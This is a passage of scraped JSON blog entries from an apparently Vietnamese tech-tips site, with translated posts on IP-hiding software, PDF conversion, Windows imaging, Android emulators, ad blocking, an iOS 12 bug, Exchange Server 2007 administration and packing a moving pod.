needs.\nFake IP, Hide IP - Top best software.\nSocial network Facebook is currently being selected and used by many people in the world. However, this is the Website that many countries have blocked from allowing users of that country to access this social network. In addition to Facebook, many other websites are also blocked in the same way. So why do not you choose and install for your computer a software that can bypass the firewall, hide IP, fake IP used on the computer.\nTop 10 best fake IP software 1. Hotspot Shield The first is Hotspot Shield because this is an indispensable name in the list of the best hidden IP software. This utility gives users great features with the ability to hide IP when accessing the Internet as well as in sending e-mail, securing personal information on the Internet, hiding real IP addresses in accounts. Email, access to blocked websites, is a shield to protect the computer from attacks from professional Hackers .\n  2. Ultrasurf Like Hotspot Shield, Ultrasurf is also used by a lot of people. Quite safe, easy to use and lightweight, this utility helps you access blocked websites through source encoder, bypass firewall, change Proxy as well as create a fake IP address. Ultrasurf has a very high security, ensures your privacy every time you access the Internet, supports HTTPS and HTTP protocol channels, secures uploads and downloads .\n  3. Freegate Use Freegate to access blocked Websites without being blocked or interrupted by the firewall. Along with powerful functions such as automatically changing IP address, securing real IP address and creating fake IPs, breaking all censors, blocking Web help you freely access the Web, Proxy conversion speed fast, automatically delete browsing history, compatible with many famous Web browsers and supports multiple channels of protocol HTTP, HTTPS, SHOCKS .\n  4. DNS Jumper With DNS Jumper , users can change DNS names, domain names that help access websites blocked by their Country. This utility provides users with free DNS, the domain name system acceptable to every country in the world such as Google DNS, Open DNS, Ultra DNS or DNS Advantage . Every time the computer is started , DNS Jumper automatically connects to the computer automatically, supports many different languages ​​.\n  5. SafeIP SafeIP is a utility that allows users to hide the real IP of the computer each time they access the Internet by providing fake IPs. This SafeIP has the function of blocking ads and malicious codes, detecting and notifying each time dangerous websites are detected, blocking cookies from tracking users of professional hackers, protecting URL paths, protecting users. browser accounts, Wifi connections .\n  6. Mask My IP Fake IP software Mask My IP allows you to access the Website are easily blocked as Facebook, Youtube or Twitter . by hiding the real IP address and provide a fake IP address, the absolute protection of information is stored on your computer, prevents credit card fraud, keeps you from making posts on forums even when banned, blocks ISPs from eavesdropping, blocks spam and much more.\n  7. Platinum Hide IP Platinum Hide IP tool supports hiding IP, allowing users to secure their identity every time they access to the Internet. Use this utility to access the Website or Forum blocked by many different countries, protect and prevent the Website that wants to monitor activities and steal user information by installing spyware. enter the user's real IP address.\n  8. Free Hide IP The Free Hide IP utility is considered to be quite effective in protecting the user's IP address by hiding the real IP address and replacing it with a new IP address. Use this utility to prevent intrusion and theft of IP, protect the computer from attacks by professional hackers and many threats from the Internet environment. Users can choose IP addresses of different countries, easily check the IP address directly on the itnsh screen.\n  9. Real Hide IP Use Real Hide IP to access blocked Web sites, by the use of a National IP any, users will easily access the Internet to avoid the risk of unauthorized intrusion. This utility helps you protect personal rights, conceal your identity directly, easily switch back and forth from real IP addresses and fake IPs, compatible with many different Web browsers such as Firefox, Google, IE. .\n  10. Auto Hide IP Software Auto Hide IP for secure identity as well as his real IP address when browsing the Web, avoiding the illegal intrusions by unwanted users, steal personal information, information credit card account information. You can optionally change the IP address many times a day, each time is a different IP address, IP options of many countries, customize the time to Auto Hide IP automatically change IP . .\n  Above is a combination of 10 fake IP gaming software, hidden IP is said to be the best among many other similar software.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51kwLCy07CYq51dm66ssYyip2abmJa7qLGMoqdmoJmZsm61z2anpZmpYrSiucSsZKytopt6tbTEZq6eml2Wu7C62KamrqucrnpzfJFq\n","link":"/post/best-software-fake-ip-change-ip-hide-ip-play-games-surf-the-web-anonymously-2021/","section":"post","tags":null,"title":"Best Software fake ip, change iP, hide iP, play games, surf the Web anonymously 2021"},{"body":"PDF is a popular text format today because of its high security, lightweight capacity, easy storage and cross-platform support. However, the disadvantage of this format is that it is difficult to edit and edit content as well as other formats, such as the Doc format or word file. Therefore, we will often convert PDF files into Doc format for ease of editing and editing documents. There are quite a few tools available to help us convert PDF files to Word, but not all of them give us good results and often suffer from font errors after conversion. And in this article, Thuthuatphanmem.vn will introduce to you the best PDF to Word conversion software today, which is Solid Converter software.\nWith Solid Converter, besides being able to convert PDF files to Word, you can also convert to other formats such as Excel, Powerpoint, HTML, Image, text, Data (.csv).\nYou can download the software at the following link:\nhttp://www.soliddocuments.com/pdf/-to-word-free-download/306/1\nAfter downloading, double-click on the file to conduct the installation, to install you tick on the terms and click Next to finish.\n  To convert PDF to Word, follow these steps:\nStep 1 : Open the application and select the Convert PDF Files item\n  Step 2: The file browse window appears, navigate to the folder containing the PDF file to be converted and click Open\n  Step 3 : After opening the file, you can view the contents of the file before converting, this is a function that quite few software has. Next, click on the down arrow icon on the toolbar and choose the format you want to convert, here we will choose PDF to Word.\n  Step 4 : After selecting the conversion type you click the PDF to Word button , a window appears where you select where to store the Word file and click Save .\n  Step 5 : Wait a while for the conversion process to complete, after the conversion is complete, the software will automatically open the Word file for you to see:\n  So with just a few simple steps, we have successfully converted a PDF into a word with just a few simple steps. Hope you will find the article useful, wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ksLC61Z6prWWgmbNuwM5mrqiqlGKyucDRnqSepKliwLWtzZ2Yq5xdrLa1tIyspqWhlGKwsLrVnqmtnaJivaWyjKymn6ynlr%2Bm\n","link":"/post/convert-pdf-to-word-extremely-standard-with-solid-converter-pdf-software/","section":"post","tags":null,"title":"Convert PDF to Word extremely standard with Solid Converter PDF software"},{"body":"The concept of computer ghost is certainly no stranger to technology people. With this ghost win, we will not need to waste time reinstalling Win, just extract the ghost file to get the complete operating system as it was.\nCurrently there are many software, as well as methods to ghost computers such as using OneKey Ghost ghost Win, or ghost Win from USB, . In this article, we introduce you to add how ghost computer by file * .tib UEFI standard, via Acronis True Image software. This is the software that has the main feature of data backup and recovery. But we can use Acronis True Image to computer ghost with * .tib file. The following article will guide you how to read the ghost ghost computer with the * .tib file.\nHow to backup and restore Windows in just 10 minutes with Acronis True Image Instructions for creating USB boot with Hiren's BootCD quickly How to create USB Boot, USB install Windows by Rufus Guide computer ghost with file * .tib (UEFI standard) Step 1:\nFirstly, download Acronis True Image software according to the link below and then install it on your computer.\nDownload Acronis True Image software Step 2:\nStart the software and then access the main interface of Acronis True Image. Here, click on the Home tab on the left side of the interface. Then look to the right of the Recover section and click on My Disks .\n  Step 3:\nAppear on the computer interface. Click the Browse button and navigate to the partition containing the ghost file in .tib format . Then click OK to confirm.\n  Then click the Next button to continue.\n  Step 4:\nIn Recover Method, click Recover whole disk and partition , then click Next next.\n  Step 5:\nThen click on the partitions and do not select MBR and Track 0, to ensure all data on the hard drive is retained.\n  Step 6:\nIn the Settings of Partition 1-1 section , click on the New location to select the ghost file partition.\n  Step 7:\nNew interface appears and click on the Unallocated partition that you have prepared earlier, then click Accept to proceed .\n  Continue to click Next in the interface below.\n  Step 8:\nClick on Settings of Partition G , click on New lacation as shown below.\n  New interface appears, users also click the Unallocated partition then click Accept to accept.\n  Also click Next to continue.\n  Step 9:\nGo to Settings of Partition C and also select New location .\n  Click next to Unallocated and click Accept .\n  Then we also click Next below to continue.\n  Step 10:\nAfter you've done the above steps, click Proceed to start extracting ghost files to the selected partition.\n  The process of extracting the ghost file will have 2 options to restart the computer or shutdown after the ghost is finished. We click on 1 of the 2 options and wait for the above process to finish.\n  So we can ghost Windows with ghost file * .tib format, with Acronis True Image software. If you have a problem when ghost Win using a traditional * .gho file, you can use the tib file to ghost the computer according to the way above.\nSee more:\nInstructions to create USB installation, boot Windows with Windows 7 USB Download Tool Instructions on how to install Windows 7 from the HDD 20 ways to create the best USB boot I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BYpMC1ecKopKmtpJq%2FbsPIrZ9mnpmhsm52jK2gm2WlmrOqedKtmKeckaex\n","link":"/post/how-to-ghost-computer-with-file-tib-uefi-standard/","section":"post","tags":null,"title":"How to ghost computer with file * .tib UEFI standard"},{"body":"Currently playing mobile games on a computer, or using Android applications on a PC is no longer difficult, when using Android emulator software on the computer. With mobile Brawl Stars game like that, we can absolutely play Brawl Stars right on the computer, attractive mobile shooter.\nBrawl Stars will bring gamers to the world of hilarious 3v3 action shooting, fighting in many different battlefields. The gameplay of Brawl Stars is quite different from the same strategy games like Clash of Clans, Hay Day and Clash Royale, not participating in building bases and territories. The following article will guide you how to play Brawl Stars on your computer using emulator software.\nHow to install NoxPlayer to play Android games on computers 8 best PSP - Play Station Portable emulator software for Android Run applications and Java games on your computer with MicroEmulator How to play Mobile Federation game on computer Instructions for installing Brawl Stars on your computer Step 1:\nYou can use NoxPlayer emulator software or any other emulator software in use. At the interface of the software, access Google Play and enter the name of the game Brawl Stars to search.\n  Step 2:\nClick the Install button to install the game via the NoxPlayer emulator.\n  Click Accept button to agree to the conditions when installing the game on the computer. Immediately after that, the process of installing games for the computer through the emulator is conducted.\n  Step 3:\nDisplay game loading interface. We wait for the game to download up to 100% to gain access to the main interface of the game.\n  The display screen with the first simple task is to collect diamonds. Use the left mouse button and move to the diamonds to collect. Use the A, W, S and D keys or the arrows to move around the map.\n  Step 4:\nTo shoot, you can use the right mouse button or click the red button to the right of the screen. All instructions with new players will be displayed right on the screen for you to follow. The initial tasks are easy to get to the players to get used to the gameplay, as well as the navigation buttons in the game.\n  When we finish the first tutorial screen we will enter the player name.\n  You will then enter a 3-person group fight with another team. The main task still has to collect diamonds for your team. In the process of searching for diamonds and attacking opponents, a yellow circle icon is used to use a special skill, to attack further, the power to destroy the opponent is greater than the normal skill.\nThe players will have 3 shots and then wait for a few seconds to reload to continue the shooting battle. This process players need to pay careful attention.\n  The final result will announce which team wins.\n  So you have installed and played Brawl Stars game on your computer. The interface of the game from the top down is very different from the company's titles, bringing a new battle for gamers. To install the game on the computer, the player should note that the computer needs to have several factors such as 2-core CPU and have VT (Virtualization Technology) virtualizing the CPU in the BIOS to increase performance when playing games on NoxPlayer.\nWish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmauZp6F6tMDAq6pmn5Gism67zWawqK2iYrCwuc%2Buq56q\n","link":"/post/how-to-install-brawl-stars-game-on-your-computer/","section":"post","tags":null,"title":"How to install Brawl Stars game on your computer"},{"body":"To save webpages that need to be used on Chrome we will use bookmarks. However, if you save too much, the bookmark list is harder to find. If so, we can change the way we store the Chrome website into Google Sheets, via the BookmarkSheet utility. This utility saves all the websites you need into a separate sheet file for easier aggregation and searching. With this sheet file, it is also convenient to manage or extract bookmarks. The following article will guide you how to save the Chrome website to Google Sheets.\nHow to send an SMS to save the website to Google Drive Sync bookmarks, extensions and other browser data between computers How to manage Chrome bookmark folder by shortcut Instructions to restore Bookmark in Google Chrome and Firefox Instructions to save bookmarks in Google Sheets Step 1:\nUsers download BookmarkSheet utility on Chrome browser according to the link below.\nDownload the BookmarkSheet Chrome utility   Step 2:\nAfter installing the utility, click to open the website to save and then click on the utility icon at the end of the address bar. In the interface of the utility we see the title (Title) and description of the content (Description) has been imported by the utility. Enter some content below.\nYour notes: enter a note for this bookmark. File name: name the spreadsheet file created on Google Drive. The default is BookmarkSheet. Sheet name: rename this spreadsheet. Click on Save bookmark button to save this bookmark in Google Sheets.\n  Step 3:\nThe user is then required to enter a Google account to use.\n  Then you access Google Drive and press Allow to access Google Drive utility.\n  Step 4:\nAs a result, you will see the file that saves the website displayed in Google Sheets with the sheet name you set.\n  When opened, we see the web page has been saved, along with the article link. We continue to do the same to save the website we need to save.\n  So with the BookmarkSheet utility, the Chrome bookmark list is more compact and you can still save the website you need via the sheet file on Google Sheests. Bookmarks saved in spreadsheets are categorized by date of saving.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquRq7Jur8erpqadXayyo7%2FIrZysZaSkeqi7zqCjnmWjnbKmwNI%3D\n","link":"/post/how-to-save-chrome-websites-to-google-sheets/","section":"post","tags":null,"title":"How to save Chrome websites to Google Sheets"},{"body":"Ad blocking software is now sought by many people, high demand for use such as antivirus and anti-malware software. StopAd is a powerful ad blocking program used on various platforms such as Windows, Android, iOS, etc. The software will conduct blocking all pop-up ads, banners, auto-play and advertisements. video in the application or web browser.\nIn addition, the tool also protects user privacy, blocking ads, data tracking access to personal user data. Malicious sites will be blocked and monitored by StopAd to avoid user access. The following article will guide you how to use StopAd on Windows.\nInstructions for removing DNS Unlocker adware How to use Malwarebytes Anti-Malware Home to find, remove spyware, ads, malicious . on your computer How to use the Bitdefender Adware Removal Tool to remove adware on Windows How to block ads on Windows with StopAd Step 1:\nClick on the link below to visit StopAd's homepage. Click the Block ads now button to download the software to your computer.\nhttps://stopad.io/windows   Step 2:\nYou click on the downloaded installation file and then click Start Installation to proceed with the installation.\n  Then click Agree and continue to agree to the installation terms of the software.\n  Finally you wait for the StopAd installation to complete on your computer.\n  Step 3:\nWe wait for the software to load the data. StopAd's opening interface displays the feature for the free version, which is to block all ads on the browser and the software being used on the computer.\n  Step 4:\nWhen you access any browser on your computer, Chrome or Microsoft Edge will see the StopAd icon in the bottom right corner of the screen. This icon will quickly enable or disable the ad blocking feature on the visited site that is on by default.\n  If you want to disable ad blocking on the website, click StopAd icon and then flip the horizontal bar at the Ad blocker button to the left.\n  Step 5:\nNext to block each component that does not want to be displayed on the website, users click on Block Element . Then click on the content and drag the size bar to increase or decrease the space around the selected element. Click on the Block element to hide the content. To change the content area you want to hide, click the Cancel button above.\n  Step 6:\nIf you want to restore the hidden component on the page, click on the software icon and then select the Settings button.\n  Go to the installation interface of the software, click on the Rules editor item on the left side of the interface and select the hidden component to display again and press Delete . When reloading the page will see the content displayed again.\n  Step 7:\nNext, we will use ads blocking feature on websites such as Google, Youtube, Facebook, hide Like / Tweet buttons on social networks, advertisements on https connections. Also open the Settings settings interface and click on Ad filters to manage ad blocking content.\n  Step 8:\nIf the user wants to hide the StopAd tool icon , in the Setitngs interface click Web Assistant and then uncheck Enable Web Assistant .\n  Step 9:\nYou can control which StopAd works on which browser and application. Click on Applications and will see the browser, the application is using StopAd. If you don't want to use StopAd, just uncheck the content.\n  With the free StopAd version also provides a full range of basic ad blocking on the browser to users. You can customize the application of StopAd on your browser or software installed on your computer. With StopAd Pro, the cost of protection will be more powerful, providing more features.\nSee more:\nRemove root malware (malware) on Windows 10 computers How to block hateful ads on Microsoft Edge browser Remove original Network Packet Analyzer adware I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0wM6pmJ1lkqG8pLfIp55mmZSoerC6jLCgp5yfrMA%3D\n","link":"/post/how-to-use-stopad-blocking-ads-on-windows/","section":"post","tags":null,"title":"How to use StopAd blocking ads on Windows"},{"body":"More and more users reflect on after updating iPhone to iOS 12, it hangs, crashing unexpectedly when opening the Phone application. This means that users will not be able to use the iPhone to call.\nAccording to users' feedback, only the Phone application has an error, and all other applications still work normally. The problem appears on models like iPhone X, iPhone 8, iPhone 7 and iPhone 6.\n  Some users shared more, they tried to reset the device after contacting and received advice from Apple, but not all machines could fix the successful crash.\nThere is currently no way to fix this error, besides rebooting the machine, even resetting all settings is only a temporary method. Even if users upgrade the device to the latest iOS 12.0.1 update, it cannot solve this error.\nDuring this time, what users can do is wait for Apple to soon release the next bug fix update.\nSee more:\nApple released iOS 12.0.1 update, accelerated Wi-Fi connection and fixed many bugs iPhone update to iOS 12 can be seriously corrupted into 'brick' The time-limited feature on Apple's iOS 12 is hacked by a 7-year-old child Errors after upgrading iOS 12 and how to fix it ncG1vNJzZmismaXArq3KnmWcp51ktrG0zqecZqCRqHqiecKrmKygXaS%2Fbq2MrKydnJWjeqS%2BwKyfZpmWqbKzedSpm5qsmaO0bsDOZqCoq11mfw%3D%3D\n","link":"/post/iphone-has-a-crash-or-a-sudden-crash-after-updating-to-ios-12/","section":"post","tags":null,"title":"iPhone has a crash or a sudden crash after updating to iOS 12"},{"body":"  Managing log files of Exchange Server 2007 - Part 1  Managing log files of Exchange Server 2007 - Part 2\nAnderson Patricio\nIn this section, I will show you how to manage the recording of information on Exchange Connectors, Message Tracking, Anti-spam agents and the Message Records Management feature.\nMessage Records Management\nAnother component that lets you record that is Message Records Management. However, by default no information is currently logged during the Managed Folder Assistant process, but we can enable it using the Set-MailboxServer command. The parameters that can be used to configure the Managed Folder components are found in Table 1 below:\nParameters Possible values\nDescribe\nRetentionLogForManagedFolderEnabled\nTrue of False\nNotice of memory limit will be written to the log files.\nJournalingLogForManagedFolderEnabled\nTrue of False\nAll daily announcements by Managed Folders will be logged.\nFolderLogForManagedFoldersEnabled\nTrue of False\nMessages sent to Managed Folders will be logged.\nSubjectLogForManagedFolderEnabled\nTrue of False\nAll objects of the messages processed by Managed Folders will be written to the log files otherwise they will be blank.\nLogPathForManagedFolders\nString\nWhere the Managed Folder Assistant will use to create log files. The default path is C: Program FilesMicrosoftExchange Server LoggingManaged Folder Assistant.\nLogDirectorySizeLimitForManagedFolders\nData\nThe maximum size restriction is ignored in Exchange Server without deleting the oldest log information.\nTable 1\nNote: You can force the Managed Folder Assistant to run in a single user or a mailbox database using the ManagedFolderAssistant command. This can be done as follows:\nHandling all mailboxes from the Start-ManagedFolderAssistant server -Identity ExchangeServerName\n Handling a specific mailbox Start-ManagedFolderAssistant –Mailbox MailboxName After defining what information will be written, we can check the log file including the Storage Group, Mailbox Store name, component including the processed mailbox information, as shown in Figure 1. .\n Figure 1 Send and receive Connectors, Connectivity and Message Tracking .\nWe can configure the Receive Connectors logging level at the Hub Transport server level. To do so, open Exchange Management Console , open Server Configuration , click on Hub Transport . Then select the Hub Transport server name selected on the right below and double click on the selected Receive Connector. We have the Protocol logging level option to be configured as None or Verbose , as shown in Figure 2.\n Figure 2 The same can be done with Send Connectors; Open the Exchange Management Console , Organization Configuration , and click the Send Connectors tab, and double-click the selected connector. That way we can configure None or Verbose mode (Figure 3).\n Figure 3 In addition to Send Connectors and Receive Connector, which are very useful in troubleshooting how Exchange connectors are used, we also have Message Tracking and Connectivity logging components that allow record creation.\nUsing Message Tracking, the administrator is able to check all notification actions in the Hub Transport, Edge or Mailbox server. This information can be used to troubleshoot mail flow, mail usage performance reports, and .\nThe second component is Connectivity Logging, which is where we can use it to get connection information from Hub and Edge Transport servers with destination mailbox servers, forwarding servers or domains. The log information on this component has detailed information about connection errors and it is very useful for troubleshooting mail flow issues. By default, this configuration is disabled and should only be enabled when troubleshooting, all information is logged to track the mail queue from source to destination. Here, we do not have specific user or notification information in the log files created by this component.\nMessage Tracking and Connectivity logs are configured in the same location through the Exchange Management Console; In the same location, we can also define the file system location for log files and Receive Connector and Send Connector. To configure all options from one point, we need to open Exchange Management Console , Server Configuration , and click the server role (either Hub, Mailbox or Edge Server) and right-click on the selected server and Properties. Finally, click on the Log Settings tab as shown in Figure 4.\nNote: This page will only be displayed only if you have installed Exchange Server 2007 SP1.\n Figure 4 Message tracking logs can be viewed using the Message Tracking tool ( Get-MessageTrackingLog command) or streamed directly from log files using any of the Text Parser or our text editors. used first with IIS log files.\nAgent Log configuration\nSome anti-spam agents can write their actions in a log file, enabled by default. To manage this feature, open the EdgeTransport.exe.config file located in the Bin folder in the Exchange Server installation directory and assign the value to 'true' or 'false' for the AgentLogEnabled parameter, see Figure 5 below.\n Figure 5 All recorded information can be located in the TransportRolesLogsAgentLog folder located in the Exchange Server installation directory. There is also a Get-AgentLog command to retrieve information from these files.\nWhen an error message is received by the Exchange Server in a Microsoft Forum and there is no information available in the Message Tracking tool, it is often an issue related to Anti-spam agent action, then you should use Using the log file is shown in this section.\nWrite the routing table\nAnother log component that can be configured by Administrator is the routing table. Our image provides you with the routing table being used by Exchange automatically and we can control the process of creating this log file. The routing table configuration is applied on Hub and Edge servers. The following command allows us to change some parameters related to the routing table record: Set-TransportServer and the following parameters:\nRoutingTableLogMaxDirectorySize: How much is the directory with routing table log files RoutingTableLogMaxAge: How many days a log file can be kept in Exchange Server Information about log files can be viewed graphically via the Routing Log Viewer entry in the Toolbox section in the Exchange Management Console, as shown in Figure 6. Using this tool, we can imagine, With a few clicks, all existing structures are being used to send messages from the current Exchange Server.\n Figure 6 Conclude\nIn this final section, we validated how to manage the information recorded on Exchange Connectors, Message Tracking, Anti-spam agents and Message Records Management features. It should be noted that we only briefly introduced the log configuration in Exchange Server. There are a number of other locations where we can enable multiple log information in Exchange Server such as: Pipeline checking for transport agents, certificate logging between transmission servers and .\nncG1vNJzZmismaXArq3KnmWcp51kuqK6wKCcZqyYmnqmxMKhmKeflWLApr7VnqlmamBlhG64zqBkn6GcmsBuvMCrq2Zr\n","link":"/post/manage-the-exchange-server-2007-log-files/","section":"post","tags":null,"title":"Manage the Exchange Server 2007 log files"},{"body":"We have seen the first part about managing mailboxes in Exchange Server 2007, in part two we can analyze this issue in more depth. In this article, we will look at information in mailboxes, blocking, reconnecting and advanced mailbox features.\nInformation from mailboxes\nAfter creating mailboxes, you will get information about them using the Exchange Management Shell. To do that, you can use two cmdlets:\n get-mailboxStatistics\n get-mailboxFolderStatistics.\n Using the Get-MailboxStatistics cmdlet as shown in Figure 1, you can get some information from the mailbox such as the quality and quantity of the items, the quality and the number of deleted items, the time of last login and logout. To get this information you use the following syntax:\nGet-MailboxStatistics |fl\nfl is the alias of the cmdlet format list, allowing to format the output as a attribute list in which each attribute appears on a new line.\n  Figure 01 : Information from Anderson.Patricio mailbox\nSometimes we need more information than Get-MailboxStatistics, in which case you can use Get-MailboxFolderStatistics to get as much information as the number of items and the size of each folder for a specific mailbox ( Figure 2).\nThe command and syntax are shown below:\nGet-MailboxFolderStatistics\n  Figure 02 : Directory information from user Anderson.Patricio\nDefine features for a specific mailbox\nAnother important feature allows you to configure some features of Outlook Web Access. To configure at the virtual directory level you can follow the steps below:\n1. Open the Exchange Management Console\n2. Expand Server Configuration\n3. Click Client Access\n4. In Work Panel choose your server\n5. In the Result Panel, click OWA\n6. Click Properties in the Actions pane (Figure 03).\n  Figure 03 : Properties of the OWA virtual directory\n7. Go to Segmentation tab (Figure 04), you can enable or disable some features of OWA by using virtual directory for all users.\n  Figure 04 : Managing features for OWA at the virtual directory level\nHowever, sometimes we need to be more flexible, for example when a particular user cannot change his password or in another specific situation, so with this problem we can manage Those features are via the Set-CASMailbox cmdlet.\nHere are some key features that we can change at the user level using the Set-CASMailbox cmdlet:\nMAPIBlockOutlookNonCachedMode\n  MAPIBlockOutlookRpcHttp\n  MAPIBlockOutlookVersions\n  MAPIEnabled\n OWAActiveSyncIntegrationEnabled\n OWAAllAddressListsEnabled\n  OWACalendarEnabled\n  OWAChangePasswordEnabled\n  OWAContactsEnabled\n  OWAEnabled\n  OWAJournalEnabled\n  OWAJournalEnabled\n  OWAJunkEmailEnabled\n  OWANotesEnabled\n  OWAPremiumClientEnabled\n OWARemindersAndNotificationsEnabled\n  OWASearchFoldersEnabled\n  OWASignaturesEnabled\n  OWASpellCheckerEnabled\n  OWATasksEnabled\n  OWAThemeSelectionEnabled\n  OWAUMIntegrationEnabled\n OWAUNCAccessOnPrivateComputersEnabled\n OWAUNCAccessOnPublicComputersEnabled\n OWAWSSAccessOnPrivateComputersEnabled\n OWAWSSAccessOnPublicComputersEnabled\n By default, all of these properties are empty, users use OWA virtual directory settings. When allowing any attribute, other attributes are automatically given $ false , so you will have to enable the attribute to be used by the user.\nHere are some examples of what you can do with the Set-CASMailbox cmdlet:\n1. Disable E-mail signature in OWA\nSet-CASMailbox -OWASignaturesEnabled: $ false\n2. Set up a user to use only the OWA Light version\nSet-CASMailbox -OWAPremiumClientEnabled: $ false\n3. Disable the change of password.\nSet-CASMailbox -OWAChangePasswordEnabled: $ false\nDisable Mailboxes\nWhen disabling a mailbox in Exchange Server 2007, you must remove the exchange properties of this mailbox but the user is still in Active Directory. To disable a mailbox you should proceed as follows:\n1. Open the Exchange Management Console\n2. Expand Recipient Configuration\n3. Click Mailbox\n4. Select a mailbox and click Disable in the Actions pane (Figure 05).\n  Figure 05 : Disable a mailbox through the Exchange Management Shell\n5. On Microsoft Exchnge page, a dialog with a new message will appear asking if you really want to disable that user, click Yes to continue (Figure 06).\n  Figure 06 : Dialog box confirming the disabling of mailbox\nObviously we can remove the mailbox using Exchange Management Shell with the remove-mailbox cmdlet. Then disable it, to confirm this operation press Y and Enter (Figure 07).\n  Figure 07 : Disable user with Exchange Management Shell\nRemove mailboxes\nWe can remove a mailbox but need to know that removing a mailbox will also delete the object in Active Directory.\n1. Open the Exchange Management Console\n2. Expand Recipient Configuration\n3. Click Mailbox\n4. Select the mailbox and click Remove in the Actions pane (Figure 08).\n  Figure 08 : Removing a mailbox in the Exchange Management Console\n5. On the Microsoft Exchange page, click Yes to confirm the deletion of the Windows User and mailbox objects (Figure 9).\n  Figure 09 : Confirm that a mailbox has been removed\nAnother way to do this is to use the Exchange Management Shell, using the remove-mailbox cmdlet (Figure 10):\nRemove-Mailbox\n  Figure 10 : Removing a mailbox in the Exchange Management Shell\nReconnect mailboxes\nSo complete the process of creating and removing / disabling a mailbox, we will then see how to reconnect a removed or disabled mailbox. By default, all removed or disabled mailboxes are in the archive for about 30 days. This value can be set at the mailbox storage level. To change this parameter, proceed as follows:\n1. Open the Exchange Management Console\n2. Expand Server Configuration\n3. Click Mailbox\n4. Select your server in the Mailbox Pane\n5. Click Mailbox Store in the Result Pane\n6. Click Properties in the Actions pane (Figure 11).\n  Figure 11 : Storage mailbox and Properties\n7. Go to the Limits tab\n8. In the Deletion Settings section, you can select the number of days that a disconnected mailbox still exists in Mailbox Database (Figure 12).\n  Figure 12 : Defining the number of days that the mailbox was canceled The connection still exists in the mailbox store\nNow that we know how long it will take for a disconnected mailbox to remain in the archive, proceed to check the mailboxes and connect them as follows:\n1. First create a user in Active Directory User and Computers called user.recovery\n2. Open the Exchange Management Console\n3. Expand Recipient Configuration\n4. Click Disconnected Mailbox\n5. You will see all disconnected mailboxes in the work pane. Select the disconnected user and click Reconnect in Actions pane (Figure 13)\n  Figure 13 : Reconnecting a mailbox\n6. Introduction . On the Introduction page, select User Mailbox then click Next to continue (Figure 14).\n  Figure 14 : Select mailbox type to reconnect\n7. Mailbox Settings . You have created a new mailbox called user.recovery . Now you can click Existing user and click user.recovery, which will connect to the contents of the mailbox that has been disabled or removed. (Figure 15). On the Mailbox Settings page, there are two options:\nMatching user : To locate a user account valid with the mailbox object, Exchange will use the LegacyExchangeDN and DisplayName properties of the Exchange storage mailbox object. If Exchange does not find what to choose for an existing user.\nExisting User : If you want to connect the mailbox to a user other than a valid user. Click Browse to see the list of users in Active Directory. This list will only have users without the relevant mailbox.\nFor the purposes of this article, click Existing User and select user.recovery on the Browse button, then click Next to continue (Figure 15).\n  Figure 15 : Connecting an existing user to an old mailbox\n8. Connect mailbox . Shows that the entire configuration will be completed in the next step. Click Connect to continue (Figure 16).\n  Figure 16 : Complete configuration in Connect Mailbox wizard\n9. Completion . On the Connect Mailbox page, the final screen of the mailbox wizard connection, if everything happens without any error, this page will appear when completed (Figure 17).\n  Figure 17 : The last screen shows the cmdlet connect-mailbox has been successfully completed\n10. Now user.recovery can log in to their mailbox and check all the content they already own.\nChange rule limits in mailboxes\nThis is a point not to be missed in this article; A new feature of Exchange Server 2007 allows changing the size of RulesQuota. By default, the value is 64KB but they have been upgraded to 256 KB per user.\nAnother interesting point is that this value is only applicable for valid roles; all other roles that have been disabled are not included in the RulesQuota value.\nTo change the RulesQuota value in Exchange Server 2007, you can use the cmdlet in Exchange Management Shell:\nSet-Mailbox -RulesQuota: 256KB\nConclude\nIn this last article on mailbox management, we introduced some features at the mailbox level and observed the process of removing and restoring mailbox content.\nncG1vNJzZmismaXArq3KnmWcp51kuqK6wKCgp59doq6quMGor56rXZ67brHXnJ%2BappeaerSx0a%2Bcq2ViZX14ec%2Baqa1lYg%3D%3D\n","link":"/post/managing-mailboxes-in-exchange-server-2007-part-2/","section":"post","tags":null,"title":"Managing mailboxes in Exchange Server 2007 (Part 2)"},{"body":"They are also able to be stored on-site for as long as you need. This allows you to take your items home and pack them according to your preferences and reduces anxiety. In addition, it's less expensive than hiring expert movers.\nIt is essential to thoroughly research the best way you can move with portable moving containers. Also, determine the most suitable size container for your needs. Find out about pod packing tips as well as other information that can help you. Moving portable containers can be an extremely difficult job. You need to ensure that your possessions are safe and secure as you maximize their space. It is essential to understand how to pack your container for transportation.\n  How do you organize your home items prior to the pod is packed Making your packing supplies in the container to be moved is your first responsibility. It is important that your belongings must be well arranged and effectively secured in order to survive the move without damage:\nMake sure you use sturdy moving boxes that are the same dimensions that are easy to stack into the pod. Packing tape should be employed to reinforce the bottoms and sides of the boxes. Also, there should be sufficient cushioning between the contents of the containers. The boxes should be filled snugly (so that they do not collapse when placed on top of each other), and the boxes must be sealed properly. It is important to ensure that the containers aren't heavy, and that the ingredients and safety-related requirements are clearly labeled on the outside. You can cause damage to your items by transferring dust, grime and water. Before you start loading a pod make sure it is clean and dry. Organize your belongings and dispose of things you no longer need. Pack delicate things with bubble wrap. Then, place them in boxes that have lots of cushioning. Also, don't forget that furniture of a larger size must be removed from its pieces so that they are easier to load into a moving pod and reduce the risk of damage.\nTips for packing a pod for moving Once you've prepared your items, you can begin to fill the pod. Be aware that you will need to use certain essential moving tools and protective covers to load a pod. The following are the items you'll need:\nMoving blankets and cardboard sheets provide extra security to your possessions during your move. The straps are secured by a Pod like elastic, ratchet, and/or rope. Additionally, using furniture sliders and a dolly is recommended for transporting big goods from your house to the container for moving.\nMake sure you have everything you need before you begin packing your moving container. Here is what you need to know:\nIt is important to pack your items in a secure way to stop them from being moved or falling over when they are transported. Be sure to keep your valuables secure. It is recommended to tie large items to separate pieces and secure each layer using the help of a rope or ratchet strap whenever you can. Your belongings can be stacked in a variety of layers. Place your items from the floor up to the ceiling, starting at the rear of the pod and forming layers that look like walls (tiers). Be sure that the weight is distributed equally throughout the container. Arrange your furniture, appliances, and large boxes in the container in such that weight is evenly distributed from one side to the other side. Cover your belongings with blankets or cardboard sheets at the 